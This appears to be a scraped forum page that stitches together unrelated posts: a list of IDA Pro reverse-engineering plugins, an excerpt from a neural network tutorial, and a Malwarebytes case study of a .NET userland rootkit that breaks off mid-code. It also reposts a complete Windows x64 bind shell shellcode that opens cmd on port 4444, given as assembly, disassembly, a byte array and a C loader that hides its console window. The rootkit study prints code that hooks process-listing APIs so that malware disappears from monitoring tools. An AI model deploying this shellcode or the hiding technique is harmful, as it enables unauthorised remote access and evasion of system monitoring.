Best IDA Plugins CyberPunk » Reverse Engineering The Interactive Disassembler, more commonly known as simply IDA, is a disassembler for computer software which generates assembly language source code from machine-executable code. It supports a variety of executable formats for different processors and operating systems. It also can be used as a debugger for Windows PE, Mac OS X Mach-O, and Linux ELF executables. A decompiler plug-in for programs compiled with a C/C++ compiler is available at extra cost. The latest full version of IDA Pro is commercial; while an earlier and less capable version is available for download free of charge (version 5.0 as of March 2015). IDA performs automatic code analysis, using cross-references between code sections, knowledge of parameters of API calls, and other information. However, the nature of disassembly precludes total accuracy, and a great deal of human intervention is necessarily required; IDA has interactive functionality to aid in improving the disassembly. A typical IDA user will begin with an automatically generated disassembly listing and then convert sections from code to data and vice versa, rename, annotate, and otherwise add information to the listing, until it becomes clear what it does. “IDC scripts” make it possible to extend the operation of the disassembler. 3DSX Loader IDA PRO Loader for 3DSX files Adobe Flash disassembler The 2 plugins present in this archive will enable IDA to parse SWF files, load all SWF tags as segments for fast search and retrieval, parse all tags that can potentially contain ActionScript2 code, discover all such code(a dedicated processor module has been written for it) and even name the event functions acording to event handled in it (eg. OnInitialize). Download Android Debugging This version have both support for native arm debugging via usb and sdk ADV manager. Android Scripts Collection Collection of Android reverse engineering scripts that make my life easier BinClone BinClone: detecting code clones in malware [SERE 2014] BinNavi BinNavi is a binary analysis IDE – an environment that allows users to inspect, navigate, edit, and annotate control-flow-graphs of disassembled code, do the same for the callgraph of the executable, collect and combine execution traces, and generally keep track of analysis results among a group of analysts. Bin Sourcerer BinSourcerer (a.k.a RE-Source Online) is an assembly to source code matching framework for binary auditing and malware analysis. Bootroom Analysis Library IBAL is the IDA Pro Bootrom Analysis Library, which contains a number of useful functions for analyzing embedded ROMs. Bosch ME7 Siemens Bosch ME7.x Disassembler Helper for IDA Pro collabREate collabREate is a plugin for IDA Pro that is designed to provide a collaborative reverse engineering capability for multiple IDA users working on the same binary file. Class Informer Scans an MSVC 32bit target IDB for vftables with C++ RTTI, and MFC RTCI type data. Places structure defs, names, labels, and comments to make more sense of class vftables (“Virtual Function Table”) and make them read easier as an aid to reverse engineering. Creates a list window with found vftables for browsing. Crowd Detox The CrowdDetox plugin for Hex-Rays automatically removes junk code and variables from Hex-Rays function decompilations. Dalvik Header This is a simple Dalvik header plugin for IDA Pro Data Xref Counter Enumerates all of the the x-references in a specific segment and counts the frequency of usage. The plugin displays the data in QtTableWidget and lets the user filter and sort the references. You can also export the data to a CSV file. Diaphora Diaphora (διαφορά, Greek for ‘difference’) is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc… It was released during SyScan 2015. DOXBox Debugger Eric Fry’s IDA/DOSBox debugger plugin DWARF Plugin IDADWARF is an IDA plugin that imports DWARF debugging symbols into an IDA database. Download Dynamic IDA Enrichment DIE is an IDA python plugin designed to enrich IDA`s static analysis with dynamic data. This is done using the IDA Debugger API, by placing breakpoints in key locations and saving the current system context once those breakpoints are hit. EFI Scripts Some IDA scripts and tools to assist with reverse engineering EFI executables. EtherAnnotate Parses the specialized instruction trace files that are generated using the EtherAnnotate Xen modification (http://github.com/inositle/etherannotate_xen). From the instruction trace, register values and code coverage of the run-time information are visualized in IDA Pro through instruction comments and line colorations. Extract Macho-O This is a very simple IDA plugin to extract all Mach-O binaries contained anywhere in the disassembly. Flare Plugins Shellcode Hashes, Struct Typer, StackStrings, MSDN Annotations, ApplyCalleType FLS Loader IDA Pro loader module for IFX iPhone baseband firmwares. Based on a universal scatter loader script by roxfan. Frida This is plugin for ida pro thar uses the Frida api. Mainly trace functions. Funcap This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA’s inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function’s arguments. Function Tagger This IDAPython script tags subroutines according to their use of imported functions Gamecube Extension This is a Gekko CPU Paired Single extension instructions plug-in for IDA Pro 5.2 Gamecube DSP This project adds support for the DSP present in the Gamecube and the Wii to IDA, the Interactive Disassembler [1]. This allows easy analyze of a DSP ucode, handling cross-references, control flow, and so on. Graph Slick Automated detection of inlined functions. It highlights similar groups of nodes and allows you to group them, simplifying complex functions. The authors provide an accompanying presentation which explains the algorithms behind the plugin and shows sample use cases. HexRays CodeXplorer The Hex-Rays Decompiler plugin for better code navigation in RE process. CodeXplorer automates code REconstruction of C++ applications or modern malware like Stuxnet, Flame, Equation, Animal Farm … HexRays Tools Assist in creation of new structure definitions / virtual calls detection Jump directly to virtual function or structure member definition Gives list of structures with given size, with given offset Finds structures with same “shape” as is used. convert function to __usercall or __userpurge and more…. IDA2SQL As the name implies this plugin can be used to export information from IDA databases to SQL databases. This allows for further analysis of the collected data: statstical analysis, building graphs, finding similarities between programs, etc. IDA C# Scripting IDA with C# IDA Compare IDA disassembly level diffing tool, find patches and modifications between malware variants. See mydoom A/B sample database and video trainer for usage. IDA Eye Plugin that enables you to perform different operations at the mnemonic level, independent of any particular processor type. These operations are facilitated through a parameterized template, which include the capabilities to de/highlight instructions, gather statistical information about the frequency of each instruction, and search for sequences of mnemonics, among other features. IDA Extrapass An IDA Pro Win32 target clean up plug-in by Sirmabus. It does essentially four cleaning/fixing steps: Convert stray code section values to “unknown”, fix missing “align” blocks, fix missing code bytes, and locate and fix missing/undefined functions. IDA Patchwork Stitching against malware families with IDA Pro (tool for the talk at Spring9,https://spring2014.gdata.de/spring2014/programm.html). In essence, I use a somewhat fixed / refurbished version of PyEmu along IDA to demonstrate deobfuscation of the different patterns found in the malware family Nymaim. IDA Rest A simple REST-like API for basic interoperability with IDA Pro. IDA Scope IDAscope is an IDA Pro extension with the goal to ease the task of (malware) reverse engineering with a current focus on x86 Windows. It consists of multiple tabs, containing functionality to achieve different goals such as fast identification of semantically interesting locations in the analysis target, seamless access to MSDN documentation of Windows API, and finding of potential crypto/compression algorithms. IDA Signature Matching Tool Tool for searching signatures inside files, extremely useful as help in reversing jobs like figuring or having an initial idea of what encryption/compression algorithm is used for a proprietary protocol or file. It can recognize tons of compression, multimedia and encryption algorithms and many other things like known strings and anti-debugging code which can be also manually added since it’s all based on a text signature file read at run-time and easy to modify. IDA Sploiter IDA Sploiter is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s capabilities as an exploit development and vulnerability research tool. Some of the plugin’s features include a powerful ROP gadgets search engine, semantic gadget analysis and filtering, interactive ROP chain builder, stack pivot analysis, writable function pointer search, cyclic memory pattern generation and offset analysis, detection of bad characters and memory holes, and many others. IDA Stealth IDAStealth is a plugin which aims to hide the IDA debugger from most common anti-debugging techniques. The plugin is composed of two files, the plugin itself and a dll which is injected into the debuggee as soon as the debugger attaches to the process. The injected dll actually implements most of the stealth techniques either by hooking system calls or by patching some flags in the remote process. IDA Toolbag The IDA Toolbag plugin provides many handy features, such as: A ‘History’ view, that displays functions in the disassembly that you have decided are important, and the relationships between them. A code path-searching tool, that lets you find what functions (or blocks) are forming a path between two locations. Manage and run your IDC/Python scripts Something that’s also of considerable importance is that the IDA Toolbag lets you collaborate with other IDA users: one can publish his ‘History’, or import another user’s history & even merge them! See the official documentation for an extensive feature list. IDA Xtensa This is a processor plugin for IDA, to support the Xtensa core found in Espressif ESP8266. It does not support other configurations of the Xtensa architecture, but that is probably (hopefully) easy to implement. idb2pat IDB to Pat. MSDN Helper This tool will help you to get to Offline MSDN help while using IDA Pro. MyNav MyNav is a plugin for IDA Pro to help reverse engineers in the most typical task like discovering what functions are responsible of some specifical tasks, finding paths between “interesting” functions and data entry points. NES Loader Nintendo Entertainment System (NES) ROM loader module for IDA Pro. Optimice This plugin enables you to remove some common obfuscations and rewrite code to a new segment. Currently supported optimizations are: Dead code removal, JMP merging, JCC opaque predicate removal, Pattern based deobfuscations Patcher IDA Patcher is a plugin for Hex-Ray’s IDA Pro disassembler designed to enhance IDA’s ability to patch binary files and memory. Plus22 Plus22 transforms x86_64 executables to be processed with 32-bit version of Hex-Rays Decompiler. Plympton A gem to read program disassembly from a YAML dump. The YAML dump is generated from an IDA Pro python script. This script is included along with this Gem (func.py) Pomidor IDA Pomidor is a plugin for Hex-Ray’s IDA Pro disassembler that will help you retain concentration and productivity during long reversing sessions. Qualcomm Loader IDA loader plugin for Qualcomm Bootloader Stages qb-sync qb-sync is an open source tool to add some helpful glue between IDA Pro and Windbg. Its core feature is to dynamically synchronize IDA’s graph windows with Windbg’s position. Recompiler IDA recompiler REProgram A way of making almost-arbitrary changes to an executable when run under a debugger — even changes that don’t fit. REtypedef REtypedef is an IDA PRO plugin that allows defining custom substitutions for function names. It comes with a default ruleset providing substitutions for many common STL types. Samsung S4 Rom Loader IDA Pro Loader Plugin for Samsung Galaxy S4 ROMs Sark Sark, (named after the notorious Tron villain,) is an object-oriented scripting layer written on top of IDAPython. Sark is easy to use and provides tools for writing advanced scripts and plugins. Sega Genesis/Megadrive Tools Special IDA Pro tools for the Sega Genesis/Megadrive romhackers. Tested work on v5.2, v6.6. Should work on other versions. Sig Maker Can create sigs automatically and has a wide variety of functions (might be unstable on IDA 6.2). Snippt Detector Snippet Detector is an IDA Python scripts project used to detect snippets from 32bit disassembled files. snippet is the word used to identify a generic sequence of instructions (at the moment a snippet is indeed a defined function). The aim of the tool is to collect many disassembled snippets inside a database for the detection process. Snowman Decompiler Snowman is a native code to C/C++ decompiler. Standalone and IDA Plugin. Source Code Splode Augmenting Static Reverse Engineering with Dynamic Analysis and Instrumentation spu3dbg Ida Pro debugger module for the anergistic SPU emulator. Synergy A combination of an IDAPython Plugin and a control version system that result in a new reverse engineering collaborative addon for IDA Pro. By http://cubicalabs.com/ Tarkus Tarkus is a plugin manager for IDA Pro, modelled after Python’s pip. VirusBattle The plugin is an integration of Virus Battle API to the well known IDA Disassembler. Virusbattle is a web service that analyses malware and other binaries with a variety of advanced static and dynamic analyses. Win32 LST to Inline Assembly Python script which extracts procedures from IDA Win32 LST files and converts them to correctly dynamically linked compilable Visual C++ inline assembly. WinIOCtlDecoder An IDA Pro plugin which decodes a Windows Device I/O control code into DeviceType, FunctionCode, AccessType and MethodType. Xex Loader for IDA 6.6 This adds the ability to load xex files into IDA directly without having to first process them in any way. It processes the xex file as much as possible while loading to minimise the work required by the user to get it to a state fit for reversing. X86Emu Its purpose is to allow a reverse engineer the chance to step through x86 code while reverse engineering a binary. The plugin can help you step through any x86 binary from any platform. For Windows binaries, many common library calls are trapped and emulated by the emulator, allowing for a higher fidelity emulation. I find it particularly useful for stepping through obfuscated code as it automatically reorganizes an IDA disassembly based on actual code paths. This list has been compiled by onethawt Sursa: https://n0where.net/best-ida-plugins/

Hacker's guide to Neural Networks Hi there, I’m a CS PhD student at Stanford. I’ve worked on Deep Learning for a few years as part of my research and among several of my related pet projects is ConvNetJS - a Javascript library for training Neural Networks. Javascript allows one to nicely visualize what’s going on and to play around with the various hyperparameter settings, but I still regularly hear from people who ask for a more thorough treatment of the topic. This article (which I plan to slowly expand out to lengths of a few book chapters) is my humble attempt. It’s on web instead of PDF because all books should be, and eventually it will hopefully include animations/demos etc. My personal experience with Neural Networks is that everything became much clearer when I started ignoring full-page, dense derivations of backpropagation equations and just started writing code. Thus, this tutorial will contain very little math (I don’t believe it is necessary and it can sometimes even obfuscate simple concepts). Since my background is in Computer Science and Physics, I will instead develop the topic from what I refer to as hackers’s perspective. My exposition will center around code and physical intuitions instead of mathematical derivations. Basically, I will strive to present the algorithms in a way that I wish I had come across when I was starting out. “…everything became much clearer when I started writing code.” You might be eager to jump right in and learn about Neural Networks, backpropagation, how they can be applied to datasets in practice, etc. But before we get there, I’d like us to first forget about all that. Let’s take a step back and understand what is really going on at the core. Lets first talk about real-valued circuits. Update note: I suspended my work on this guide a while ago and redirected a lot of my energy to teaching CS231n (Convolutional Neural Networks) class at Stanford. The notes are on cs231.github.io and the course slides can be found here. These materials are highly related to material here, but more comprehensive and sometimes more polished. Articol complet: https://karpathy.github.io/neuralnets/

Functionalitate introdusa in ultimul update: https://rstforums.com/forum/leaderboard/

Windows x64 - Bind Shell TCP Shellcode (508 bytes) /* # Title : Windows x64 Bind Shell TCP Shellcode # size : 508 bytes # Date : 08-12-2016 # Author : Roziul Hasan Khan Shifat # Tested On : Windows 7 Professional x64 */ /* section .text global _start _start: xor rdx,rdx mov rax,[gs:rdx+0x60] mov rsi,[rax+0x18] mov rsi,[rsi+0x10] lodsq mov rsi,[rax] mov r14,[rsi+0x30] ;---------------------- mov dl,0x88 mov ebx,[r14+0x3c] add rbx,r14 mov ebx,[rbx+rdx] add rbx,r14 ;-------------------------- mov esi,[rbx+0x1c] add rsi,r14 ;kernel32.dll base address ;------------------------------- mov dx,832 mov ebx,[rsi+rdx*4] add rbx,r14 ;LoadLibraryA() ;------------------------------- mov dl,128 sub rsp,rdx lea r12,[rsp] ;---------------------------------------------------- ;loading ws2_32.dll xor rdx,rdx mov [r12],dword 'ws2_' mov [r12+4],word '32' mov [r12+6],byte dl lea rcx,[r12] sub rsp,88 call rbx mov r15,rax ;ws2_32.dll base address ;-------------------------------------------------- xor rdx,rdx mov dl,0x88 mov ebx,[r15+0x3c] add rbx,r15 mov ebx,[rbx+rdx] add rbx,r15 mov edi,[rbx+0x1c] add rdi,r15 ;------------------------------ mov dx,114*4 mov ebx,[rdi+rdx] add rbx,r15 ;WSAStartup() ;----------------------------------- ;WSAStartup(514,&WSADATA) xor rcx,rcx mov cx,408 sub rsp,rcx lea rdx,[rsp] mov cx,514 sub rsp,88 call rbx ;------------------------------------------- xor rdx,rdx mov dx,98*4 mov ebx,[rdi+rdx] add rbx,r15 ;WSASocketA() ;WSASocket(2,1,6,0,0,0) push 6 push 1 push 2 pop rcx pop rdx pop r8 xor r9,r9 mov [rsp+32],r9 mov [rsp+40],r9 call rbx mov r13,rax ;SOCKET ;-------------------------------------------- mov ebx,[rdi+80] add rbx,r15 ;setsockopt() ;setsockopt(SOCKET,0xffff,4,&1,4) xor rdx,rdx mov rcx,r13 mov dx,0xffff push 4 pop r8 mov [rsp],byte 1 lea r9,[rsp] sub rsp,88 mov [rsp+32],r8 call rbx ;-------------------------------------------------- mov ebx,[rdi+4] add rbx,r15 ;bind() ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) push 16 pop r8 xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov [r12],byte 2 mov [r12+2],word 0x5c11 ;port 4444 (change it if U want) lea rdx,[r12] mov rcx,r13 call rbx ;---------------------------------------- mov ebx,[rdi+48] add rbx,r15 ;listen() ;listen(SOCKET,1) push 1 pop rdx push r13 pop rcx call rbx ;----------------------------------- mov ebx,[rdi] add rbx,r15 ;accept() ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,16 push rdx lea r8,[rsp] lea rdx,[r12] mov rcx,r13 sub rsp,88 call rbx ;------------------------------------------- xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,104 xor rcx,rcx mov [r12],dword edx mov [r12+4],rcx mov [r12+12],rcx mov [r12+20],rcx mov [r12+24],rcx mov dl,255 inc rdx mov [r12+0x3c],edx mov [r12+0x50],rax mov [r12+0x58],rax mov [r12+0x60],rax ;-------------------------------------------------- mov [r12-4],dword 'cmdA' mov [r12-1],byte cl ;----------------------------------------- sub rsp,88 ;CreateProcessA(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFOMATION) lea rdx,[r12-4] ;"cmd" xor r8,r8 ;NULL push r8 pop r9 ;NULL mov [rsp+32],byte 1 ;TRUE mov [rsp+40],r8 ;0 mov [rsp+48],r8 ;NULL mov [rsp+56],r8 ;NULL lea rax,[r12] mov [rsp+64],rax lea rax,[r12+104] mov [rsp+72],rax xor r10,r10 mov r10w,165*4 mov ebx,[rsi+r10] add rbx,r14 ;CreateProcessA() call rbx ;----------------------------------------------- mov r10w,297*4 mov ebx,[rsi+r10] add rbx,r14 push 1 pop rcx add rsp,88 call rbx */ /* file format pe-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 48 31 d2 xor %rdx,%rdx 3: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax 8: 48 8b 70 18 mov 0x18(%rax),%rsi c: 48 8b 76 10 mov 0x10(%rsi),%rsi 10: 48 ad lods %ds:(%rsi),%rax 12: 48 8b 30 mov (%rax),%rsi 15: 4c 8b 76 30 mov 0x30(%rsi),%r14 19: b2 88 mov $0x88,%dl 1b: 41 8b 5e 3c mov 0x3c(%r14),%ebx 1f: 4c 01 f3 add %r14,%rbx 22: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 25: 4c 01 f3 add %r14,%rbx 28: 8b 73 1c mov 0x1c(%rbx),%esi 2b: 4c 01 f6 add %r14,%rsi 2e: 66 ba 40 03 mov $0x340,%dx 32: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 35: 4c 01 f3 add %r14,%rbx 38: b2 80 mov $0x80,%dl 3a: 48 29 d4 sub %rdx,%rsp 3d: 4c 8d 24 24 lea (%rsp),%r12 41: 48 31 d2 xor %rdx,%rdx 44: 41 c7 04 24 77 73 32 movl $0x5f327377,(%r12) 4b: 5f 4c: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 53: 32 54: 41 88 54 24 06 mov %dl,0x6(%r12) 59: 49 8d 0c 24 lea (%r12),%rcx 5d: 48 83 ec 58 sub $0x58,%rsp 61: ff d3 callq *%rbx 63: 49 89 c7 mov %rax,%r15 66: 48 31 d2 xor %rdx,%rdx 69: b2 88 mov $0x88,%dl 6b: 41 8b 5f 3c mov 0x3c(%r15),%ebx 6f: 4c 01 fb add %r15,%rbx 72: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 75: 4c 01 fb add %r15,%rbx 78: 8b 7b 1c mov 0x1c(%rbx),%edi 7b: 4c 01 ff add %r15,%rdi 7e: 66 ba c8 01 mov $0x1c8,%dx 82: 8b 1c 17 mov (%rdi,%rdx,1),%ebx 85: 4c 01 fb add %r15,%rbx 88: 48 31 c9 xor %rcx,%rcx 8b: 66 b9 98 01 mov $0x198,%cx 8f: 48 29 cc sub %rcx,%rsp 92: 48 8d 14 24 lea (%rsp),%rdx 96: 66 b9 02 02 mov $0x202,%cx 9a: 48 83 ec 58 sub $0x58,%rsp 9e: ff d3 callq *%rbx a0: 48 31 d2 xor %rdx,%rdx a3: 66 ba 88 01 mov $0x188,%dx a7: 8b 1c 17 mov (%rdi,%rdx,1),%ebx aa: 4c 01 fb add %r15,%rbx ad: 6a 06 pushq $0x6 af: 6a 01 pushq $0x1 b1: 6a 02 pushq $0x2 b3: 59 pop %rcx b4: 5a pop %rdx b5: 41 58 pop %r8 b7: 4d 31 c9 xor %r9,%r9 ba: 4c 89 4c 24 20 mov %r9,0x20(%rsp) bf: 4c 89 4c 24 28 mov %r9,0x28(%rsp) c4: ff d3 callq *%rbx c6: 49 89 c5 mov %rax,%r13 c9: 8b 5f 50 mov 0x50(%rdi),%ebx cc: 4c 01 fb add %r15,%rbx cf: 48 31 d2 xor %rdx,%rdx d2: 4c 89 e9 mov %r13,%rcx d5: 66 ba ff ff mov $0xffff,%dx d9: 6a 04 pushq $0x4 db: 41 58 pop %r8 dd: c6 04 24 01 movb $0x1,(%rsp) e1: 4c 8d 0c 24 lea (%rsp),%r9 e5: 48 83 ec 58 sub $0x58,%rsp e9: 4c 89 44 24 20 mov %r8,0x20(%rsp) ee: ff d3 callq *%rbx f0: 8b 5f 04 mov 0x4(%rdi),%ebx f3: 4c 01 fb add %r15,%rbx f6: 6a 10 pushq $0x10 f8: 41 58 pop %r8 fa: 48 31 d2 xor %rdx,%rdx fd: 49 89 14 24 mov %rdx,(%r12) 101: 49 89 54 24 08 mov %rdx,0x8(%r12) 106: 41 c6 04 24 02 movb $0x2,(%r12) 10b: 66 41 c7 44 24 02 11 movw $0x5c11,0x2(%r12) 112: 5c 113: 49 8d 14 24 lea (%r12),%rdx 117: 4c 89 e9 mov %r13,%rcx 11a: ff d3 callq *%rbx 11c: 8b 5f 30 mov 0x30(%rdi),%ebx 11f: 4c 01 fb add %r15,%rbx 122: 6a 01 pushq $0x1 124: 5a pop %rdx 125: 41 55 push %r13 127: 59 pop %rcx 128: ff d3 callq *%rbx 12a: 8b 1f mov (%rdi),%ebx 12c: 4c 01 fb add %r15,%rbx 12f: 48 31 d2 xor %rdx,%rdx 132: 49 89 14 24 mov %rdx,(%r12) 136: 49 89 54 24 08 mov %rdx,0x8(%r12) 13b: b2 10 mov $0x10,%dl 13d: 52 push %rdx 13e: 4c 8d 04 24 lea (%rsp),%r8 142: 49 8d 14 24 lea (%r12),%rdx 146: 4c 89 e9 mov %r13,%rcx 149: 48 83 ec 58 sub $0x58,%rsp 14d: ff d3 callq *%rbx 14f: 48 31 d2 xor %rdx,%rdx 152: 49 89 14 24 mov %rdx,(%r12) 156: 49 89 54 24 08 mov %rdx,0x8(%r12) 15b: b2 68 mov $0x68,%dl 15d: 48 31 c9 xor %rcx,%rcx 160: 41 89 14 24 mov %edx,(%r12) 164: 49 89 4c 24 04 mov %rcx,0x4(%r12) 169: 49 89 4c 24 0c mov %rcx,0xc(%r12) 16e: 49 89 4c 24 14 mov %rcx,0x14(%r12) 173: 49 89 4c 24 18 mov %rcx,0x18(%r12) 178: b2 ff mov $0xff,%dl 17a: 48 ff c2 inc %rdx 17d: 41 89 54 24 3c mov %edx,0x3c(%r12) 182: 49 89 44 24 50 mov %rax,0x50(%r12) 187: 49 89 44 24 58 mov %rax,0x58(%r12) 18c: 49 89 44 24 60 mov %rax,0x60(%r12) 191: 41 c7 44 24 fc 63 6d movl $0x41646d63,-0x4(%r12) 198: 64 41 19a: 41 88 4c 24 ff mov %cl,-0x1(%r12) 19f: 48 83 ec 58 sub $0x58,%rsp 1a3: 49 8d 54 24 fc lea -0x4(%r12),%rdx 1a8: 4d 31 c0 xor %r8,%r8 1ab: 41 50 push %r8 1ad: 41 59 pop %r9 1af: c6 44 24 20 01 movb $0x1,0x20(%rsp) 1b4: 4c 89 44 24 28 mov %r8,0x28(%rsp) 1b9: 4c 89 44 24 30 mov %r8,0x30(%rsp) 1be: 4c 89 44 24 38 mov %r8,0x38(%rsp) 1c3: 49 8d 04 24 lea (%r12),%rax 1c7: 48 89 44 24 40 mov %rax,0x40(%rsp) 1cc: 49 8d 44 24 68 lea 0x68(%r12),%rax 1d1: 48 89 44 24 48 mov %rax,0x48(%rsp) 1d6: 4d 31 d2 xor %r10,%r10 1d9: 66 41 ba 94 02 mov $0x294,%r10w 1de: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 1e2: 4c 01 f3 add %r14,%rbx 1e5: ff d3 callq *%rbx 1e7: 66 41 ba a4 04 mov $0x4a4,%r10w 1ec: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 1f0: 4c 01 f3 add %r14,%rbx 1f3: 6a 01 pushq $0x1 1f5: 59 pop %rcx 1f6: 48 83 c4 58 add $0x58,%rsp 1fa: ff d3 callq *%rbx */ #include<windows.h> #include<stdio.h> #include<string.h> char shellcode[]=\ "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x4c\x8b\x76\x30\xb2\x88\x41\x8b\x5e\x3c\x4c\x01\xf3\x8b\x1c\x13\x4c\x01\xf3\x8b\x73\x1c\x4c\x01\xf6\x66\xba\x40\x03\x8b\x1c\x96\x4c\x01\xf3\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x49\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb\x8b\x7b\x1c\x4c\x01\xff\x66\xba\xc8\x01\x8b\x1c\x17\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x66\xba\x88\x01\x8b\x1c\x17\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x8b\x5f\x50\x4c\x01\xfb\x48\x31\xd2\x4c\x89\xe9\x66\xba\xff\xff\x6a\x04\x41\x58\xc6\x04\x24\x01\x4c\x8d\x0c\x24\x48\x83\xec\x58\x4c\x89\x44\x24\x20\xff\xd3\x8b\x5f\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x11\x5c\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x8b\x5f\x30\x4c\x01\xfb\x6a\x01\x5a\x41\x55\x59\xff\xd3\x8b\x1f\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x68\x48\x31\xc9\x41\x89\x14\x24\x49\x89\x4c\x24\x04\x49\x89\x4c\x24\x0c\x49\x89\x4c\x24\x14\x49\x89\x4c\x24\x18\xb2\xff\x48\xff\xc2\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x41\xc7\x44\x24\xfc\x63\x6d\x64\x41\x41\x88\x4c\x24\xff\x48\x83\xec\x58\x49\x8d\x54\x24\xfc\x4d\x31\xc0\x41\x50\x41\x59\xc6\x44\x24\x20\x01\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\x4c\x89\x44\x24\x38\x49\x8d\x04\x24\x48\x89\x44\x24\x40\x49\x8d\x44\x24\x68\x48\x89\x44\x24\x48\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x4c\x01\xf3\xff\xd3\x66\x41\xba\xa4\x04\x42\x8b\x1c\x16\x4c\x01\xf3\x6a\x01\x59\x48\x83\xc4\x58\xff\xd3"; int main() { int len=strlen(shellcode); DWORD l=0; printf("shellcode length : %d\n",len); //making memory executbale VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l); //hiding windows AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); // (* (int(*)()) shellcode)(); return 0; } Sursa: https://www.exploit-db.com/exploits/40890/?rss

Simple userland rootkit – a case study Posted December 7, 2016 by Malwarebytes Labs Rootkits are tools and techniques used to hide (potentially malicious) modules from being noticed by system monitoring. Many people, hearing the word “rootkit” directly think of techniques applied in a kernel mode, like IDT (Interrupt Descriptor Table) hooking, SSDT (System Service Dispatch Table) hooking, DKOM (Direct Kernel Object Manipulation), and etc. But rootkits appear also in a simpler, user-mode flavor. They are not as stealthy as kernel-mode, but due to their simplicity of implementation they are much more spread. That’s why it is good to know how they works. In this article, we will have a case study of a simple userland rootkit, that uses a technique of API redirection in order to hide own presence from the popular monitoring tools. Analyzed sample 01fb4a4280cc3e6af4f2f0f31fa41ef9 //special thanks to @MalwareHunterTeam The rootkit code This malware is written in .NET and not obfuscated – it means we can decompile it easily by a decompiler like dnSpy. As we can see in the code, it hooks 3 popular monitoring applications: Process Explorer (procexp), ProcessHacker and Windows Task Manager (taskmgr): Let’s try to run this malware under dnSpy and observe it’s behavior under Process Explorer. The sample has been named malware.exe. At the beginning it is visible, like any other process: …but after executing the hooking routine, it just disappears from the list: Attaching a debugger to the Process Explorer we can see that some of the API functions, i.e., NtOpenProcess starts in atypical way – from a jump to some different memory page: The redirection leads to the injected code: It is placed in added memory page with full access rights: We can dump this page and open it in IDA, getting a view of 3 functions: The code of the first function begins at offset 0x60: The space before is filled with some other data, that will be discussed in a second part of the article. Rootkit implementation Let’s have a look at the implementation details now. As we saw before, hooking is executed in a function HookApplication. Looking at the beginning of this function we can confirm, that the rootkit’s role is to install in-line hooks on particular API functions: NtReadVirtualMemory, NtOpenProcess, NtQuerySystemInformation. Those functions are imported from ntdll.dll. Let’s have a look at what is required in order to implement such a simple rootkit. The original decompiled class is available here: ROOT1.cs. Preparing the data First, the malware needs to know the base address, where ntdll.dll is loaded in the space of the attacked process. The base is fetched by a function GetModuleBase address, that employs enumerating through the modules loaded within the examined process (using: Module32First – Module32Next). Having the module base, the malware needs to know the addresses of the functions, that are going to be overwritten. The GetRemoteProcAddressManual searches those address in the export table of the found module. Fetched addresses are saved in an array: //fetch addresses of imported functions: func_to_be_hooked[0] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtReadVirtualMemory") ); func_to_be_hooked[1] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtOpenProcess") ); func_to_be_hooked[2] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtQuerySystemInformation") ); Code from the beginning of those functions is being read and stored in buffers: //copy original functions' code (24 bytes): original_func_code[0] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[0])), 24u); original_func_code[1] = ROOT1.ReadMemoryByte(intPtr, 